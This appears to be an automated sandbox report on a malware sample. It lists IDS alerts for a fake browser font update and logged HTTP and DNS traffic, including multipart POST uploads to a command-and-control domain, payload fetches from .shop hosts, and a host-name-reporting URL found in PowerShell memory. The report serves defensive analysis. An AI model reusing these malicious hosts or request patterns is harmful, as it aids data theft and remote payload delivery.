Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49749 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49748 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49752 -> 104.21.37.128:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 104.21.37.128:443 -> 192.168.2.4:49752

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9PX283Q3GUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18116Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8P4UL2SQ629User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8743Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1Q3S6XWH2PIZQJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20414Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TE1VUZC5DPSCJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1210Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CRUXAW66GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1063Host: laborersquei.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 115Host: laborersquei.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: MKEsavqGIoOOFKIkcwQOiuYAysc.MKEsavqGIoOOFKIkcwQOiuYAysc
Source: global traffic	DNS traffic detected: DNS query: laborersquei.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: laborersquei.click

Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: installer_1.05_36.4.exe	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: installer_1.05_36.4.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: installer_1.05_36.4.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: installer_1.05_36.4.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp, installer_1.05_36.4.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: installer_1.05_36.4.exe	String found in binary or memory: http://ocsps.ssl.com0
Source: powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2282601068.0000000002999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000010.00000002.2283793403.00000000048A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2282601068.0000000002999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Lightweight.com, 0000000B.00000000.1725630476.0000000000705000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: MFL715GTQ6VLUD404.tmp, 00000016.00000002.3106414056.00000000013B8000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000043BFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/FSCTutorial.htm
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/FSCTutorial.htmU
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.faststone.org/U
Source: vsv_tool.exe, 00000031.00000002.3228982215.00000000458F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: installer_1.05_36.4.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: powershell.exe, 00000010.00000002.2283793403.00000000048A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 00000010.00000002.2283793403.0000000004ADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000010.00000002.2283793403.0000000004C47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2283793403.0000000004ADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: powershell.exe, 00000010.00000002.2282474515.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compname=
Source: powershell.exe, 00000010.00000002.2283793403.00000000049F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2282601068.0000000002999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000010.00000002.2283793403.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org/
Source: MFL715GTQ6VLUD404.exe, 00000013.00000000.2556978906.0000000000F31000.00000020.00000001.01000000.0000000A.sdmp, MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000010.00000002.2286056099.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.exe.11.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: MFL715GTQ6VLUD404.tmp, 00000014.00000003.2582213886.0000000002760000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000014.00000003.2568804476.0000000003710000.00000004.00001000.00020000.00000000.sdmp, MFL715GTQ6VLUD404.tmp, 00000016.00000003.3094684017.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: vsv_tool.exe, 00000031.00000002.3228982215.0000000045B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: vsv_tool.exe, 00000031.00000000.3076281910.00000000001F1000.00000020.00000001.01000000.0000000F.sdmp, vsv_tool.exe, 00000031.00000002.3164173525.0000000004603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.faststone.org/order.htm
